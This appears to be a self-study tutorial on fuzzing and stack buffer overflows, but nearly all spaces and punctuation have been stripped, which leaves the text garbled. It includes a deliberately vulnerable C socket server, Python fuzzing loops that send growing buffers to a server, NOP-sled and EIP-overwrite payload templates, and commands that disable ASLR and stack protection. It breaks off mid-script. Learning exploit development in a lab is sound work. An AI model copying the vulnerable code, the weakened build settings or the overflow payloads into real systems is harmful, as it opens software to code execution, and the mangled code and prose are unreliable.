if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

